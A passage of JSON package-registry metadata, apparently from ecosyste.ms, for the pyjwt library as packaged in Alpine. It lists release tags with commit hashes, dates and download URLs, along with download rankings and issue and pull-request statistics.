a%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.885Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":22.600674117438356,"stargazers_count":2.084442079120099,"forks_count":2.2352315061202765,"average":6.730086925669683},"purl":"pkg:apk/alpine/py3-jwt-cli?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-cli","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-cli","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-cli/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste